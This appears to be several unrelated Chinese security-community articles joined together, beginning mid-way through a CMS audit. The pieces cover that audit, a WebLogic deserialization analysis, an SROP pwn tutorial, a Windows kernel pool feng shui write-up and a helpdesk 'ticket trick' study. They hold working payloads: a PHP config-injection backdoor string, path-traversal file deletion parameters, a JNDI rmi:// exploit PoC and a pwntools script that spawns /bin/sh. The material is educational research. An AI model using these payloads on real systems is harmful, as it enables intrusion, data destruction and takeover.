`tablepre=dcr_qy_';?><?php phpinfo()?>`
由于写入的是配置文件，所以访问站点任意文件都会包含此文件，所以还可以当后门来用。
审计过程还发现，如果采用sqlite安装，sqlite数据库文件名会以php结尾，并且我们可以控制数据库名数据库表，但是cms开始会新建一个名为<?php的数据表，sqlite文件的文件头会存在多个<?php，php解析到这里直接报错了。不知道怎么绕过。
## sql注入
在install_action.php中还存在sql注入
<?php
$db_table = $_POST['table'];
$sql_db_exists = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='$db_table'";
很明显的注入，就不细讲了
## 任意文件删除漏洞x2
全局搜索危险函数unlink
一个个跟进审计，查找拿些变量可控，最终找到两个任意文件删除漏洞
在fmanage_action.php中提供了文件删除功能，但是未对文件路径做过滤，于是可以删除任意文件
上面提到cms把所有url变量注册为了全局变量，于是只需访问action=del_file&cpath=../../../../../../../1.txt即可删除任意文件
cls_dir类中也存在一个任意文件删除漏洞
cache_clear.php引用了这个类
<?php
$cls_dir = new cls_dir();
$cls_dir-> delete_dir( WEB_CACHE . "/template/{$tpl_dir}" );
同理，通过控制url参数tpl_dir即可任意文件删除
## 失败的审计
在db.class.php中的构造方法里，可以进行数据库连接
<?php
class cls_db
{
private $pdo;
private $db_type;
private $host;
private $name;
private $pass;
private $table;
private $ut;
private $conn;
private $result;
private $rs;
private $str_error; //错误信息
/**
* 构造函数
* @param string $db_type 数据库类型
* @param string $host 数据库地址
* @param string $name 数据库用户名
* @param string $pass 数据库密码
* @param string $table 数据库名
* @param string $ut 数据库编码
* @return resource 成功返回一个连接的resource
*/
function __construct( $db_type, $db_host, $db_name, $db_pass, $db_table, $db_ut )
{
$this->db_type = $db_type;
$this->host = $db_host;
$this->name = $db_name;
$this->pass = $db_pass;
$this->table = $db_table;
$this->ut = $db_ut;
if( !$this->conn )
{
$this->connect();
}
}
因为构造方法只有在实例化新类才会被执行，所以理论上，如果我们可以任意实例化任意类，我们可以控制数据库连接的ip和端口，再通过mysql任意文件读取漏洞，即可达到任意文件读取，全局搜索new
$
遗憾的是，这三个变量审计后发现我们都不可控，于是这条路没有走通，但是我觉得思路还是很不错的
## 失败的审计*2
class.email.php文件中会存在任意ip建立套接字，发送数据可控，于是我们可以通过crlf来SSRF，可以攻击内网的php-fpm,redis等应用，但是在刚开始建立套接字的时候，cms会判断对应ip是否返回2或者3，
<?php
function smtp_ok()
{
$response = str_replace("\r\n", "", fgets($this->sock, 512));
$this->smtp_debug( $response . "\n" );
if (!ereg("^[23]", $response))
{
fputs($this->sock, "QUIT\r\n");
fgets($this->sock, 512);
cls_app::log("Error: Remote host returned \"" . $response . "\"\n");
return false;
}
return true;
}
?>
如果攻击内网，必须要对应内网服务在建立连接时，返回数据中带有2或者3，我们才能发送数据，否者程序会直接退出。
cms官网:<http://www.dcrcms.com/> | 社区文章 |
**作者：廖新喜
公众号：[廖新喜](https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg "廖新喜") **
### 背景
北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch
Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic
Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。这个漏洞由Matthias
Kaiser，loopx9，Li Zhengdong申报。
### 补丁分析
如下图所示
这回的补丁主要增加了两个大类黑名单，分别是java.rmi.server.RemoteObject和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager，RemoteObject是用于修补漏洞编号为CVE-2018-3245的漏洞，当时笔者在报这个漏洞的过程中就将所有涉及到RemoteObject相关的poc都提交给了Oracle官方。AbstractPlatformTransactionManager这个黑名单就是用于防止Spring
JNDI注入，从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样，只是来源于不同的包。
### 动态分析
通过前一章的静态分析已经知道CVE-2018-3191所对应的补丁，就是AbstractPlatformTransactionManager，用于防止Spring
JNDI注入。在我们的PoC中主要用到JtaTransactionManager这个类。下面来看一下这个类中关键的几个地方。
public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory, InitializingBean, Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
public static final String[] FALLBACK_TRANSACTION_MANAGER_NAMES = new String[]{"java:comp/TransactionManager", "java:appserver/TransactionManager", "java:pm/TransactionManager", "java:/TransactionManager"};
public static final String DEFAULT_TRANSACTION_SYNCHRONIZATION_REGISTRY_NAME = "java:comp/TransactionSynchronizationRegistry";
private static final String TRANSACTION_SYNCHRONIZATION_REGISTRY_CLASS_NAME = "javax.transaction.TransactionSynchronizationRegistry";
private transient JndiTemplate jndiTemplate;
private transient UserTransaction userTransaction;
private String userTransactionName;
.....
JtaTransactionManager类继承自AbstractPlatformTransactionManager，实现了Serializable接口，其中私有属性userTransactionName是用于JNDI寻址。
在Java反序列化中，入口有很多，readObject是最常见的，定位到JtaTransactionManager.readObject方法，实现如下：
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}
继续跟踪initUserTransactionAndTransactionManager方法的实现：
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
this.userTransaction = this.retrieveUserTransaction();
}
}
.....
在
initUserTransactionAndTransactionManager的方法中就有基于JNDI寻址方法lookupUserTransaction
关键寻址部分代码如下：
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
} catch (NamingException var3) {
throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
}
}
有了如上的分析，构造PoC也是水到渠成，下面是PoC的关键代码：
public static Object getJtaTransactionManagerObject(String command){
int seq = command.indexOf(':');
if (seq < 0){
command = "rmi://localhost:1099/Exploit";
}
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(command);
return jtaTransactionManager;
}
更详细的关于JNDI的使用可参考作者以前的博文，这里不再重复。漏洞效果如下图：
由于这个漏洞利用的gadget是weblogic中自带的，跟JDK版本无关，所以只要系统能连外网，未禁止T3协议，漏洞就可以利用，威力巨大，请尽快升级到Weblogic最新版。
* * * | 社区文章 |
实验文件下载：<http://file.eonew.cn/ctf/pwn/srop.zip> 。
传统的ROP技术，尤其是amd64上的ROP，需要寻找大量的gadgets以对寄存器进行赋值，执行特定操作，如果没有合适的gadgets就需要进行各种奇怪的组装。这一过程阻碍了ROP技术的使用。而`SROP技术的提出大大简化了ROP攻击的流程`。
## 原理
SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制，如图：
1. 当一个用户层进程发起signal时，控制权切到内核层
2. 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上，然后再把rt_sigreturn地址压栈，跳到用户层执行Signal Handler，即调用rt_sigreturn
3. rt_sigreturn执行完，跳到内核层
4. 内核恢复②中保存的进程上下文，控制权交给用户层进程
> 重点：内核恢复②中保存的进程上下文，控制权交给用户层进程
### ucontext_t结构体
> 这里我只写64位的，32位的也差不多。
保存的就是`ucontext_t结构体`，一个很长的结构体：
// defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // the stack used by this context
mcontext_t uc_mcontext; // the saved context
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;
// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack. */
typedef struct
{
void *ss_sp;
size_t ss_size;
int ss_flags;
} stack_t;
// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short ss;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
但是，实际上我们只需要关注这些寄存器就行了：
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
### SROP原理
利用`rt_sigreturn`恢复`ucontext_t`的机制，我们可以构造一个假的`ucontext_t`，这样我们就能控制所有的寄存器。
对了结构体的构建，`pwntools`里面已经有现成的库函数：<http://docs.pwntools.com/en/stable/rop/srop.html?highlight=srop>
。
使用如下类似于下面这样
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
> 这里我特别强调一下 frame.csgsfs 。如果ss和cs的寄存器值不对的话，程序是不能正常运行的。
>
>
> # 这4个寄存器都是2个字节的，分别是 ss .. .. cs ，中间两个我也不确定
> frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) |
> (0x0001 * 0x10000) | (0x0033 * 0x1)
>
### exploit思路
1. 控制程序流
2. 构造ROP链调用rt_sigreturn
3. 能控制栈的布局
### 举个例子
我用下面这个代码演示一遍：
// compiled:
// gcc -g -c -fno-stack-protector srop.c -o srop.o
// ld -e main srop.o -o srop
char global_buf[0x200];
int main()
{
asm(// 读取最多 200 字节
"mov $0, %%rax\n" // sys_read
"mov $0, %%rdi\n" // fd
"lea %0, %%rsi\n" // buf
"mov $0x200, %%rdx\n" // count
"syscall\n"
// 读取字节数小于 ucontext_t结构体则直接 exit
"cmp $0xf8, %%rax\n"
"jb exit\n"
// 进行恢复上下文
"mov $0, %%rdi\n"
"mov %%rsi, %%rsp\n"
"mov $15, %%rax\n" // sys_rt_sigaction
"syscall\n"
"jmp exit\n"
/* split */
"nop\n"
"nop\n"
// syscall 的 symbol，便于查找
"syscall:\n"
"syscall\n"
"jmp exit\n"
// 退出程序
"exit:\n"
"mov $60, %%rax\n"
"mov $0, %%rsi\n"
"syscall\n"
:
: "m" (global_buf)
:
);
}
> 注意：为了保证代码没有依赖，需要关闭栈保护。
程序很简单，就是读取你的输入，然后如果大小大于`ucontext_t`结构体的大小的话，就直接执行`rt_sigreturn`调用。
#### 安全防护
ex@Ex:~/test$ checksec srop
[*] '/home/ex/test/srop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
#### exp脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.arch = "amd64"
# context.log_level = "debug"
elf = ELF('./srop')
sh = process('./srop')
# 生成调试文件
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
str_bin_sh_offset = 0x100
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']
# pause()
sh.send(str(frame).ljust(str_bin_sh_offset, 'a') + '/bin/sh\x00')
sh.interactive()
# 删除调试文件
os.system("rm -f pid")
#### 运行实例
ex@Ex:~/test$ python2 exp.py
[*] '/home/ex/test/srop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './srop': pid 1693
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
## 总结
一个比较难构造的方法，适合和其他漏洞组合起来拿shell。 | 社区文章 |
**作者：[wjllz](https://redogwu.github.io/2018/11/03/windows-kernel-exploit-part-4/ "wjllz")
来源：[先知安全技术社区](https://xz.aliyun.com/t/3146 "先知安全技术社区")**
## 前言
Hello, 欢迎来到`windows kernel exploit`第四篇, 这篇文章主要讲述在对`MS-16-0198`的利用当中进行的一次爬坑,
以及在内核利用当中一种相当重要的技术, `pool fengshui`.
Anyway, 希望能对您有一点点小小的帮助 :)
### 一点小小的吐槽
这篇漏洞有另外两篇详细的分析.
在[先知](https://xz.aliyun.com/)和[另外一个网站](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8)上. 所以在我一开始的计划当中, 我只是调一下写一下利用就好.
没打算放在这个系列里面的. 但是在写这个利用的时候, 发生了一点点事, 让我一度怀疑我是一个孤儿.
我一开始copy了代码和原文件尝试运行失败了. 于是在读文章的过程中, 修复了一些代码. 我在pool fengshui那里折腾了将近半天的时间,
因为原文的exp的数据大小在我这里是不适用的(我的环境也是windows 8.1 x64). 先知和原作者都成功的运行了exp,
于是就给了我一种为毛你们都可以, 就我不可以的孤儿感 :(
另外一个方面, 在我计划的第五篇和第六篇文章里面, 会牵扯到这里面的知识. pool fengshui, 所以最后决定写一下自己的爬坑之旅.
## exp的运行
## 查找错误原因
于是我在源代码的触发漏洞的地方插入了两个`__debugbreak()`语句.
在进行漏洞函数`xxx`分配`pool`的地方下了断点, 然后得到如下的结果. 观察其分配的`pool`. 得到如下的结果:
我们看到在他原来的文章当中理想的风水布局的结果如图:
于是我们可以判断出原作者在我的环境上面`fengshui`出错了.
## pool feng shui.
在查找到了我们的错误点之后, 就到了我们的`pool feng shui`隆重出场.
### pool feng shui概述
依然, 我们尽量少做重复性质的工作. 所以这里我会对pool feng shui做一个大概的总结.
相关性的详细讨论你可以在[这里](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)找到.
我们先来看一下这张图(图片来源blackhat):
这是我们所期待的布局. 为什么让我们的`vul buffer`落入此地址呢. 在一些利用当中. 实现利用要对`vul
buffer`相连的对象的关键数据结构进行操作(如bitmap).
具体的你可以在我的[第三篇博客](https://redogwu.github.io/2018/11/03/windows-kernel-exploit-part-4/)里面找到实际样例.
于是, 为了使这个理想的布局情况能够出现, 我们需要借用`pool fengshui`的技术. 链接里面已经给了`pool fengshui`的相关链接.
你可以查看他了解更多细节.
我们来看blackhat上面的作者是如何实现的.
[+] 第一步: 填充大小为0x808对象
[+] 第二步: 填充大小为0x5f8对象(留下0x200的空隙)
[+] 第三步: 填充大小为0x200的对象
[+] 第四步: 释放大小为0x5f8的对象
[+] 第五步: 填充大小为0x538的对象(留下0xc0的空隙)
[+] 第六步: 填充大小为0xc0的对象
[+] 第七步: 释放部分0x200对象(留下0x200的对象, vul buffer能够填充进去)
在`漏洞代码`进行`vul buffer`(大小也为0x200)分配的时候, 能够落入到我们预先安排的0x200的空隙当中. 上面的就是`pool
fengshui`的大概思路了. 让我们来看一下更多的细节.
### pool feng shui原则
而相应的, 我们来总结一下feng shui布局的比较关键性的原则.
#### 0x1000的划分
0x1000在`pool`的分配当中, 与freelist挂钩. 分为两个情况
[+] 当分配的pool size大于0x808的时候, 内存块会往前面挤
[+] 当分配的pool size小于0x808的时候, 内存块会往后面挤
#### 分配的对象需要属于同一种对象
pool 分为几个类型. 我查阅的`windows 7`的资料. 不过对于`windows 10`应该是同样适用的
[+] Nnonpaged pool
[+] paged pool
[+] session pool
也就是, 上面的`0x200`的数据和`0xc0`的数据想挨在一起. 那么他们必须是同样的pool type. 此处为`Paged Session
Pool`.(我以前在做第二篇博客的时候由于这个点的失误, 导致我浪费了整整一天的时间 :).
#### 分配的对象的size计算
如果你申请的`pool`大小为`0x20`, 那么在windows x64平台下的实际`pool size`应该是`0x30`, 因为还要加上`pool
header`部分.
需要注意的是, 这一部分来源于[这里](https://redogwu.github.io/2018/11/03/windows-kernel-exploit-part-4/). 我只是做了一点小小的改动 :)
### pool feng shui的数据选择.
既然知道了我们的`pool feng shui`的思路, 那么我们就需要分配`nSize`的对象了. 如何寻找`nSize`的对象呢.
我目前知道的是有两个思路.
[+] 寻找某对象可以分配任意的size
[+] 寻找某对象刚好满足size的n/1
==> 如果你想分配的size是0x80. A(20)可以分配0x20大小的对象. B(80)可以分配0x80的对象. 那么
for(int i = 0; i < 0x1000; i++)
B(80)
for(int i = 0; i < 0x1000; i++)
for(int j = 0; j < 0x4; j++) //4 * 0x20 = 0x80
A(20)
第二种方式的局限性比较大, 可能在某种情况下你找不到刚好能够分配0x20大小的对象, 比如我就没有找到 :), 于是我们开始选取任意大小的对象.
### CreateBitmap的闪亮登场
CreateBitmap会分配一个`pool`, 其大小和上面的参数`cx`, `cy`相关. 他们与`pool size`的关系是, 我不知道 :(
嗯, 在阅读了大量的文章之后. 我对于这个关系越来越迷惑. 于是我开始决定自己总结关系. 一开始的时候我写了这个语句.
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8);
现在, 我需要知道其大小. [这篇文章](https://redogwu.github.io/2018/11/03/windows-kernel-exploit-part-4/)里面有给出使用`!poolfind`指令的方法, 但是我尝试多次失败了(后面我会介绍我为什么会失败). 但是anyway.
笨人也有笨人的方法. 我总觉得我一定可以找到解决方案 :). 因为我知道在`windows 8.1`上如何泄露我刚刚分配的`bitmap`的地址.
### 泄露bitmap地址
在windows 8.1上泄露bitmap的地址我们可以使用`GdiSharedHandleTable`.
我们后面再来阐述`GdiSharedHadnleTable`是啥. 在这一部分让我们先用代码和调试器来找到它.
#### 寻找GdiSharedHandleTable。
##### 调试器寻找:
我们可以看到我们的`GdiShreadHandleTable`和`PEB`相关, 且在`PEB`偏移为`0x0f8`的地方. 下面让我们用代码来找到它.
##### 代码寻找:
我们都知道寻找`PEB`就需要先找TEB. 让我们先来看看一张图.
我们可以看到`PEB`在`TEB`偏移`0x60`处. 接着, 我们从`TEB`一步一步找着就好.
幸运的是微软提供了`NtCurrentTeb()`函数能够帮助我们方便的寻找到`TEB`.
DWORD64 tebAddr = NtCurrentTeb();
然后我们再使用第一张图找到`PEB`的地址.
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60); // 0x60是PEB的偏移
接着使用我们的最开始的图来找到我们的`GdiSharedHandleTable`的地址.
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
##### 验证截图
Too easy :)
#### 依据handle寻找其地址
找到了`GdiSharedHandleTable`的地址之后, 是时候让它发挥点作用了. 自己对`GdiShreadHandleTable`的理解如下:
[+] GDIShreadHandletable是一个数组, 其中的Entry为一个叫做GDICELL64的结构体.
[+] GDICELL64存放一些与GDI句柄相关的信息
现在, 让我们来看一下`GDICELL64`的分析.
可以看到它在其中泄露了有关`GDI handle`的内核地址. 那么,
handle如何对应`GdiShreadHandleTable`的数组的`GDICELL64`的项呢.
[+] handle类似于一个数组下标. 不过index = handle & 0xFFFF = LOWROD(handle).
让我们先通过调试器验证他. 验证的截图如下.
需要注意的是, 0x18是`GDICELL64`的大小. 聪明的你看了前面的PPT一定可以算出来的:)
依据前面的原理代码实现如下:
#### 验证
需要注意的是, 那个地方我打印是赋值粘贴的, 实在不想改了 :)
#### 总结数据关系
现在我们可以使用光明正大的开始观察我们的`BITMAP`了. 于是我整理了下面的几张截图. 和您分享一起总结数据关系:
##### 传入参数为0x10:
##### 传入参数为0x70:
##### 传入参数为0x80:
##### 传入参数为0x90:
##### 传入参数为0xA0:
基于此. 写出下表.
[+] 0x10 ==> 0x370
[+] 0x20 ==> 0x370
[+] 0x70 ==> 0x370
[+] 0x80 ==> 0x370
[+] 0x90 ==> 0x390
[+] 0xA0 ==> 0x3B0
之后随着我二把刀的数学水平, 我总结出了如下的关系式(她可能不太准确, 但应付风水布局应该足够了. :)
if(nWidth >= 0x80)
nSize = (nWidth - 0x80) * 2 + 0x370(这一部分还有内存对齐之类的我就不做计算了, 你可以由上面的自己实验)
else
nSize = 0x370
#### 验证
再来随便找个数值验证一下.
BinGo, 我们找到了能帮我们分配`nSize>=0x370`的`paged pool session`对象. 让我们开始下一小节.
## lpszMenuName
我们可以清楚的看到. 大于等于0x370的对象我们很愉快的找到了相应的分配. 但是小于0x370的呢. 比如上面的0x200和0xc0.
于是我们想到了`lpszMenuName`.
按照惯例. 我们先用调试器找到lpszMenuName.
首先我们得知道lpszMenuName(menu是菜单的意思)关联一个window的`windows窗口对象`,
其在内核当中对应结构体对象为`tagWND`, 于是我们来看下面的图(需要注意的是, 下面的截图我都是在windows 7 x64的环境下截的图,
因为从8开始微软去掉了很多的导出符号, 不过大多数时候windows 7的数据在后续的操作系统上还是成立的, 这算是一个自己调试内核的一个小技巧…)
kd> dt win32k!tagWND
[...]
+0x098 pcls : Ptr64 tagCLS
[...]
其中`tagCLS`对应的是`windows窗口`对应的类, 在`tagCLS`当中我们能够记录找到`lpszManuName`.
记录一下我们等下写代码需要的数据.
[+] 0x98 ==> tagCLS相对于tagWND的偏移.
[+] 0x88 ==> lpszMenuName相对于tagCLS的偏移.
聪明的你一定猜到了, 如果我们能够泄露窗口的地址. 那么我们就能根据前面的思路泄露出`lpszMenuName`的地址,
从而通过传给wndclass.lpszMenuName不同大小的字符串(我的实验使用UNICODE做的).来观察出其大小关系.
### 泄露tagWND
泄露tagWND可以利用`HMValidateHandle`函数. 此函数我测试过支持到`windows RS3`版本.
在`samb`的[github](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp)上面你可以找到对应的源码:
而另外一个方面小刀师傅的[博客](https://xiaodaozhi.com/exploit/71.html)这里也给出了相应的介绍.
所以我只给出粗糙的介绍. 详细的可以在[这里](https://xiaodaozhi.com/exploit/71.html)找到介绍.
先来看一张图.
`tagWND`对应一个`桌面堆`. 内核的桌面堆会映射到用户态去. `HMValidateHandle`能够获取这个映射的地址.
在这个映射(head.pSelf)当中存储着当前`tagWND`对象的内核地址. 而`HMValidateHandle`函数的地址未导出,
不过在导出的`IsMenu`函数有使用, 所以可以通过硬编码的形式找到它.
再次感谢小刀师傅的[博客](https://xiaodaozhi.com/). 小刀师傅拥有着我所有想要的优点.
借助于此, 我创建了如下的代码来帮我观察`lpszMenuName`的大小关系.
而实验的验证结果如下(需要注意的是, 这里我们的A系列函数会扩充为W系列函数, 这一部分在windows核心编程当中有提到).
##### 总结数据关系
anyway, 你也知道, 截图十分的痛苦. 所以我直接给出数据的表, 具体的你可以自己依据上面的思路来观察. :)
[+] 0x01 ==> 0x20
[+] 0x03 ==> 0x20
[+] 0x05 ==> 0x20
[+] 0x06 ==> 0x20
[+] 0x10 ==> 0x40
[+] 0x20 ==> 0x60
[+] 0x30 ==> 0x80
[+] 0x40 ==> 0xa0
关系式:
if(nMalloc >= 0x10)
nSize = nMalloc * 2 + 0x20(这一部分还有内存对齐之类的我就不做计算了, 你可以由上面的自己实验)
else
nSize = 0x20
BingGO!
##### 验证数学关系:
## 释放内存块
我们已经有了合适的用于分配内存块的函数, 接着就是其对应的释放了.
释放BitMap:
DeleteObject(hBitmap)
释放lpszMenuName:
UnregisterClass(&wns, NULL);
#### 实验验证
依赖于此, 我们很轻松的实现了`blackhat`演讲上面提到的布局. 验证如下(由于内存对齐, 我更改了一点点布局):
而`MS-16-098`的风水部分我会在爬完坑之后放到我的github上(据我的推测, 它的0x60分配出了错).
## 相关链接
* sakura师父的博客: <http://eternalsakura13.com/>
* 小刀师父的博客: <https://xiaodaozhi.com/>
* MS 16-098的分析: <https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/>
* 写完文章之后发现的一篇很好的博客: <http://trackwatch.com/windows-kernel-pool-spraying/>
* 本文的样例代码地址: <https://github.com/redogwu/blog_exp_win_kernel/tree/master/pool-fengshui/pool-fengshui>
* 自己维护的一个库: <https://github.com/redogwu/windows_kernel_exploit>
* 我的github地址: <https://github.com/redogwu/>
* 我的个人博客地址: <http://www.redog.me>
## 后记
这个漏洞我还没有调试完成, 还有个比较大的坑没有爬完. 后续爬完之后,
我会把这个漏洞的修改的exp放到我的[github](https://github.com/redogwu)上面, 同时更新此博客.
其实我更希望您能在此文当中看到的不只是`pool fengshui`的技巧, 而是在内核当中`调试器下见真章`的那种感觉,
这一个思想帮助我(我是一个很笨很笨的人)解决了很多的困惑.
Anyway, 谢谢您阅读这篇又丑又长的博客 :)
最后, wjllz是人间大笨蛋.
* * * | 社区文章 |
# Scary Tickets：第三方服务系统存在的安全风险（上）
|
##### 译文声明
本文是翻译文章，文章原作者 sites.google.com，文章来源：sites.google.com
原文地址：<https://sites.google.com/securifyinc.com/secblogs/scary-tickets>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在阅读本文前，强烈建议大家先参考下Inti之前发表关于Ticket
Trick的一篇研究文章（[原文](https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c)，[译文](https://www.anquanke.com/post/id/86922)），以便对这方面内容有个整体的了解。
在Inti那篇文章刚发表时，包括我在内的许多黑客都对这种技术的工作原理非常感兴趣，想在实际目标中进行测试。有多个黑客成功在漏洞奖励计划中找到并反馈了存在这方面漏洞的一些目标。由于许多公司开始修复漏洞，我开始思索Zendesk以及其他服务系统的工作原理，想了解这些系统中是否还有被人们忽略的更大问题。今年我在参与学校的安全俱乐部活动时，我们决定举办名为“第三方服务威胁”主题的研讨会。借此机会，我也能够理解这些支持系统的工作原理以及利用这些系统的不同方法，在本文中，我将向大家介绍Ticket
Trick技巧在Zendesk和Help
Scout中的利用方式，这种利用方式更加危险，并且攻击方法也更加有趣。在整个研究过程中，有两个小伙伴与我并肩战斗，他们分别是@cmdrsnuggle以及@rawalshree。
## 二、Zendesk概览
在向目标企业的支持系统发送垃圾邮件之前，我测试了Zendesk，研究其中某些功能的工作机理。这个过程较为耗时，涉及到各方面内容，比如研究Zendesk功能、阅读社区支持页面以及理解官方文档等。
在开始研究Zendesk时，我非常好奇其中邮件以及服务单（ticket）处理方面的内容。如果大家之前用过Zendesk，可知当我们通过邮件回复ticket时，电子邮件的内容会被添加到ticket中。最早时Inti通过向`support+id<ticketid>[@domain](https://github.com/domain
"@domain").com`这个地址发送邮件来完成该操作，但我比较好奇是否还有其他方法能将邮件内容加到ticket中。在研究期间，我发现官网[提到](https://support.zendesk.com/hc/en-us/articles/360000334947-Getting-started-with-email-Part-2-Incoming-email-requests-and-notifications#topic_r1f_4gd_v3)Zendesk可以通过3种方式将收到的邮件与ticket关联起来：
1、检查邮件的`In-Reply-To`以及`References`头。如果这些字段存在，就利用这些字段将ticket内容加入邮件种；
2、收件方地址列表中包含`support+id<ticketid>[@company](https://github.com/company
"@company").zendesk.com`。如果满足该条件，邮件内容就会被添加到ticket中；
3、邮件正文中隐式引用了某个ticket。
其中第2种方式与Inti的研究成果密切相关，因此我决定不去关注这一点，将重心放在第1和第2种方式上。第1种方式不受这类攻击方法影响，因为当第三方公司向我的“受害者”发送邮件时，我无法控制其中的`In-Reply-To`以及`References`头。现在我想复现Ticket Trick，因此我决定研究一下第3种方式。
为了理解第3种方式，我往实验系统发送了一封邮件：
当支持系统收到我的邮件时，就会自动回复一封邮件，这也是ticket在Zendesk中常见的创建方式。Zendesk通过自动回复邮件表明已收到ticket。
非常好，现在我们已找到自动响应路径，我们的目标是在 **邮件正文**
中找到关于该ticket的隐式引用。为此，我使用Gmail的“显示原始邮件”功能来分析邮件内容。
这封邮件中在`----==_mimepart_5c7df374e772c_27fa3f8b3e4bcf18131485`之前都属于邮件头，邮件正文位于这一行之后。
在上图中共有两处`----==-mimepart`，第一部分是纯文本，第二部分是HTML正文。这种设计方式使得只能接收纯文本邮件的邮件客户端也能接收这封邮件并能正确显示。目前一切看起来非常正常，然而在“
_This email is a service from Zendesk_
”这句话后，情况有所变化。接下来我们可以看到一个有趣的字符串，由数字和字母组成：`[M7VRMO-LV6L]`。这个字符串看上去非常有趣，所以我决定记住这个值，开始下一阶段测试。
到目前为止，我只是以客户的角色发送请求。现在我想观察一下同一个信息在Zendesk agent端的情况，如下图所示：
目前一切看上去正常，因此我让一起研究的小伙伴Brandon
Nguyen往`[[email protected]](mailto:[email protected])`发一封邮件，主题设置为`[M7VRMO-LV6L]`（使用前面获得的这个哈希）。我想测试一下如果另一个发送方使用了同一个哈希值，在Zendesk端会观察到什么情况。结果agent端的确出现了非常奇怪的情况：
我很快就发现服务端会把小伙伴发送的邮件当成私人信息（private note），而没有当成公开评论（public
comment）。我想澄清为什么会出现这种情况，于是检查了ticket的警告标志，看到一个提示信息：“Brandon Nguyen was not a
part of this conversation.
”，官方也给出了为什么会出现这种情况的[原因](https://support.zendesk.com/hc/en-us/articles/203661606#topic_d32_mzc_3r)。
